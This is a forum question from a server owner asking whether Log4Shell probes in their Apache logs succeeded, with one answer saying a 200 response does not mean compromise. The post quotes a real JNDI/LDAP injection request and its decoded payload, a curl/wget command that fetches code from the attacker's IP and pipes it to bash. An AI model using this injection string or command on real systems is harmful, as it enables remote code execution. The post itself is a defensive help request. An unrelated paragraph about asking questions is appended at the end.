Score:0

successfull log4j exploitation or just normal traffic

us flag

First, thanks in advance and sorry if I'm asking some really silly thing, this is not my expertise :)

I have a webserver just for testing my things. Last week I checked if it was vulnerable to log4j CVE and it seemed only Jenkins was using some trace of log4j but inside slf4j (https://www.slf4j.org/log4shell.html) which doesn't seem to be vulnerable on that version.

/var/lib/jenkins/plugins/ssh-slaves/WEB-INF/lib/log4j-over-slf4j-1.7.26.jar

I updated everything I could just to be on the safe side. I left it there but today I was messing with the apache logs and I started to see entries like this:

195.54.160.149 - - [26/Dec/2021:10:43:35 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/longbase64HERE} HTTP/1.1" 200 90

Note: the edited base64 once decoded was something like:

(curl -s 195.54.160.149:5874/MYIP:443||wget -q -O- 195.54.160.149:5874/MYIP:443)|bash

I ran several scripts to detect if there were more traces of log4j on my server, but everything seemed clear. Should I be concerned that the server is responding with a 200 code? Thanks

Chris avatar
it flag
The log line you show is a *normal* attempt to exploit the vulnerability. The 200 response code does not mean the attempt is necessarily successfull. You see a 200 response code because your site (like most of apps) does not check invalid query parameters, and instead, it silently ignores them.
mangohost

Post an answer

Most people don’t grasp that asking a lot of questions unlocks learning and improves interpersonal bonding. In Alison’s studies, for example, though people could accurately recall how many questions had been asked in their conversations, they didn’t intuit the link between questions and liking. Across four studies, in which participants were engaged in conversations themselves or read transcripts of others’ conversations, people tended not to realize that question asking would influence—or had influenced—the level of amity between the conversationalists.